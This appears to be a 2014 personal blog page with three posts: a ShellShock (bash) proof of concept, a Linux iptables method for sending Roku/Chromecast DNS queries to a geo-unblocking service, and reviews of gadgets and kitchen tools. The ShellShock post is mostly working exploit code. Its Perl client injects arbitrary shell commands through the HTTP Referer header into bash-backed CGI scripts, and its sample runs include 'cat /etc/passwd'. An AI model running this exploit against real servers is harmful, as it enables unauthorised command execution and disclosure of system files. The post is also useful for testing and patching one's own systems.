Friday, 26 September 2014

ShellShock GNU bash vulnerability

Here's a proof of concept of the ShellShock attack on Debian 6

Setup

Create 2 CGI scripts thus:

test1.cgi

#!/bin/bash
echo Content-type: text/plain
echo ""
echo Hello


test2.cgi

#!/usr/bin/perl
print "Content-type: text/plain\n";
print "\n";
print "Hello from perl\n";
print "HTTP_REFERER=$ENV{HTTP_REFERER}\n\n";
#system('/bin/bash -c "echo Im In Bash"');


testclient.pl

#!/usr/bin/perl
use strict;
use warnings;
use LWP;
my $hackstr = '() { :; }; echo \'Content-type: text/plain\'; echo \'\'; echo \'Youve been 0wn3d\'; ';

# EDIT HERE
my $targeturl = 'http://myserver.example.com/cgi-bin/test1.cgi';
my $ua = LWP::UserAgent->new;
$ua->agent('MyHack 1.0');
my $req = HTTP::Request->new(GET => $targeturl);
$req->header('Referer', $hackstr);
my $res = $ua->request($req);
if ($res->is_success) {
        print $res->content;
}
else {
        print $res->status_line, "\n";

}

Testing

Install test1.cgi and test2.cgi on a test webserver under /cgi-bin/ and make sure both are chmod +x

Edit the $targeturl variable in testclient.pl to point to your test server and set it to test1.cgi

Run testclient.pl. The output might look something like:

Youve been 0wn3d
Content-type: text/plain

Hello


Now change $targeturl in testclient.pl to end in "/test2.cgi"
Run again. The output might look like:

Hello from perl
HTTP_REFERER=() { :; }; echo 'Content-type: text/plain'; echo ''; echo 'Youve been 0wn3d';


So good - non bash CGI scripts do not do anything bad.
EXCEPT, and here's the rub, what if the script calls bash via an exec() or system()?
Well - uncomment the #system... line in test2.cgi and run testclient again:

Hello from perl
HTTP_REFERER=() { :; }; echo 'Content-type: text/plain'; echo ''; echo 'Youve been 0wn3d';

Content-type: text/plain

Youve been 0wn3d
Im In Bash


Oh dear...

Here's an improved testclient.pl
#!/usr/bin/perl
use strict;
use warnings;

use LWP;
my $cmd = $ARGV[0];
my $hackstr = '() { :; }; echo \'Content-type: text/plain\'; echo \'\'; echo \'Youve been 0wn3d\'; ' . $cmd;

my $targeturl = 'http://myserver.example.com/cgi-bin/ttt2.cgi';
my $ua = LWP::UserAgent->new;
$ua->agent('MyHack 1.0');

my $req = HTTP::Request->new(GET => $targeturl);
$req->header('Referer', $hackstr);
my $res = $ua->request($req);
if ($res->is_success) {
        print $res->content;
}
else {
        print $res->status_line, "\n";
}


Now you can run:
testclient.pl 'hostname -f'

and get something like:
Hello from perl
HTTP_REFERER=() { :; }; echo 'Content-type: text/plain'; echo ''; echo 'Youve been 0wn3d'; hostname -f

Content-type: text/plain

Youve been 0wn3d
yourserver.example.com


then try:
testclient.pl 'cat /etc/passwd'

So what does it all mean?


Well - you'll notice I had to explicitly call /bin/bash in test2.cgi and also make it the explicit interpreter in test1.cgi.

This is because in Debian 6 and 7 at least apache's default shell is /bin/sh which is a symlink to /bin/dash. Debian 5 and before used bash as the default shell. NOTE that if you did an inplace dist-upgrade of Debian 5 to 6, /bin/sh will still link to /bin/bash.

So your risk (at least on new installs of Debian 6 onwards) will be limited to any web script that is called directly or indirectly from a CGI mechanism AND invokes bash explicitly - unless you changed the system shell...

Trivial clean test script for testing systems

#!/usr/bin/perl
use strict;

use warnings;
$ENV{SHELLSHOCK} = '() { :; }; echo \'Vulnerable to shellshock\'';

exec('/bin/bash', '-c', 'exit');


Monday, 9 June 2014

Media Players: Roku and Chromecast and unblock-us problems.

I just bought a Roku 3 and a Google Chromecast stick.

The Roku 3 is a set top box that plugs into your TV's HDMI port and sits on your network. Using a remote control, you can watch various streaming media services such as Netflix, BBC iPlayer and Youtube (and many many more).

The Chromecast stick is slightly different in that it works together with a smartphone or laptop and allows you to "cast" Netflix, Youtube and certain other enabled apps onto your TV.

Now, many people use unblock-us or a similar service to allow us to get access to Netflix's US catalogue rather than the pathetically limited UK catalogue.

unblock-us relies on you being able to chose their DNS servers for your media device so it can route requests for Netflix's catalogue via America and "fool" Netflix into thing you are in the States.

Let me clear - Netflix don't mind. You still pay them. The people who want to enforce this ridiculous state of affairs are the film studios who are stuck in the Pleistocene era of regional distribution.

Regions made sense back in the day when films were sent out on reels. A rell of positive film costs an arm and a leg to print and even the likes of Universal can only afford to make so many tens of thousands. So they were sent first to US cinemas. After they were done, the same reels were sent to the UK and other Region 2 countries. Then onto Region 3 countries and so on.

We're living in a digital age now - even cinemas are digital. Copies of media are very cheap (network bandwidth). So it really is an antiquated notion.

Now probably in an effort to placate the content providers, Roku or Netflix (it's a little unclear) and Chromecast (which is a Google device)  have chosen to hard code Google's public DNS servers (8.8.8.8 and 8.8.4.4) into their devices rather than respecting what my network's DHCP server tells it.

Precisely, Roku/Netflix use my DNS with 8.8.8.8 as the secondary.

One option is to block 8.8.8.8 and 8.8.4.4 at your router (with either a firewall or static route that goes nowhere). I don't like this - and can see it causing problems as the device stutters and waits of a DNS server that will never reply.

Here's a solution for linux enthusiasts, which actually spoofs Google's IPs - so the Roku or Chromecast stick thinks it's talking to Google's DNS but it's actually being bounced to unblock-us's.

You do not need a linux router - but you do need a linux PC on the same LAN (subnet) as your Roku/Chromecast/etc that's always on (at least when you are watching stuff).

Setup (change your IPs to suit)

My Linux server is 10.0.0.14
My client IP (that I wish to spoof Google for) is 10.0.0.55
I will be using unblock-us's DNS server 208.122.23.22

Step 1 - Ensure 10.0.0.14 can handle IP forwarding:
# echo 1 > /proc/sys/net/ipv4/ip_forward

Step 2 - Tell your DHCP server to serve 10.0.0.14 as the gateway/default route to the Roku/Chromecast

Step 3 - On 10.0.0.14, load these netfilter rules:

iptables -t nat -N spoof_google_dns
iptables -t nat -A spoof_google_dns -d 8.8.8.8/32 -p udp --dport 53 -j CONNMARK --set-xmark 0x2/0x2
iptables -t nat -A spoof_google_dns -d 8.8.4.4/32 -p udp --dport 53 -j CONNMARK --set-xmark 0x2/0x2
iptables -t nat -A spoof_google_dns -m connmark --mark 0x2/0x2 -j DNAT --to-destination 208.122.23.22
iptables -t nat -A POSTROUTING -m connmark --mark 0x2/0x2 -j SNAT --to-source 10.0.0.14
iptables -t nat -A PREROUTING -s 10.0.0.55 -j spoof_google_dns


Add as many copies of the LAST LINE as you need, changing 10.0.0.55 to your Roku/Chromecast client IPs

If you just want to cover the whole network (eg because you don't use static IPs), replace the last line with

iptables -t nat -A PREROUTING -j spoof_google_dns

Add your laptop IP to the rules temporarily and test with

dig @8.8.8.8 movies.netflix.com

to test before and after loading the rules. The difference should be obvious.



I like this solution because:

1) It does not "break" the Google IP - it actually spoofs it;

2) It's reasonably clean as far as horrid hacks go;

3) It *only* affects DNS queries to 8.8.8.8 and 8.8.4.4 for specific clients so it does not bend your whole network out of shape.

4) It does not require full scale network restructuring;

5) You could probably pull the same stunt with *BSD or Windows but I have not idea how!

Sunday, 12 January 2014

Squiddy's Recommended - Gadgets and tools

Stuff I personally own or have tested in depth which I've found exceptional.

(I'm neither paid by nor affiliated with any of these companies - just an ordinary user)


Power Bank USB Charger


RAVPower RP-PB07 Power Bank (10.4Ah 1A/2A USB Outputs)

An extremely useful piece of kit if you have a power hungry smartphone and you are away from the mains for the day. Such scenarios might include heavy use of GPS maps when out walking in the countryside.

This device is surprisingly cheap at around £24 for what it is - an external power pack with twin USB outputs and 10.4Ah capacity (enough to charge most smartphones 2-3 times and even recharge a *Pad).

More importantly when the device can actually deliver the goods. The 2A output took my Samsung Galaxy Note 3 from 42% to 75% in the 90 odd minutes I was on the train yesterday, whilst I was tethering my laptop through the phone and occasionally poking the phone. If you know Samsungs, you'll know that's quite an achievement as they are notoriously power hungry.

This unit is not light - but it's not something you'd notice stuck in a backpack as a backup, or in your coat pocket if out and about.

It's not limited to phones - it should charge anything that charges via USB - your milage may vary.

To charge the unit, use any reasonably powerful charger with a micro-USB (not micro-USB3) plug. Your phone's own charger may serve. Recharge times are approximately overnight.




Food chopping board


TopGourmet Cutting Board

This is a very personal subject and I suspect many of you won't agree with my views - but that's fine.

I'm fussy about chopping boards. I hate glass as they knacker my knives and I don't like them from a tactile point of view. Not keen on plastic - they score too deeply which means hygiene is questionable. I love wood - just right tactile wise - BUT you can't dishwash them which I prefer to do after prepping meat or fish. Well, you can, but they fall to bits in a few months...

The board pictured is actually pretty good. Not as soft as wood, but harder than plastic (doesn't score deeply) and a lot kinder to blades than glass boards. Best bit is, it is fully dishwasher safe - I've had mine for about a year and it is still good. It's the right compromise for my tastes.

It's basically resin bonded paper as far as I can tell. Here's some background.



Fridge/Freezer thermometer


Simple you'd think? What about if you want one with Min/Max readings (to check whether that last long power cut has put your freezer contents in jeapody? How about one that's easy to read from one place at eye level and maybe has an alarm?

There are plenty of fridge/freezer thermometers available. However I've never been very impressed with any of them.

This one is definitely well built compared to a lot of the standard offerings and being wireless, there are no wires with sensors to get caught up with the drawers in the freezer.

Not really an essential item, but as my village is prone to random power cuts several times a year, some of which last for 6 hours or more, I value knowing how warm the fridge and freezer got. And the wireless sensors are handy when your fridge and freezer are not adjacent and allow the sensors to be placed at the back where opening the appliance for short times won't cause the sensor to warm up unreasonably quickly.

Word to the wise - put lithium AAs into the freezer sensor - alkalines are not happy at -22C. Normal alkalines are fine in the fridge sensor and display unit though.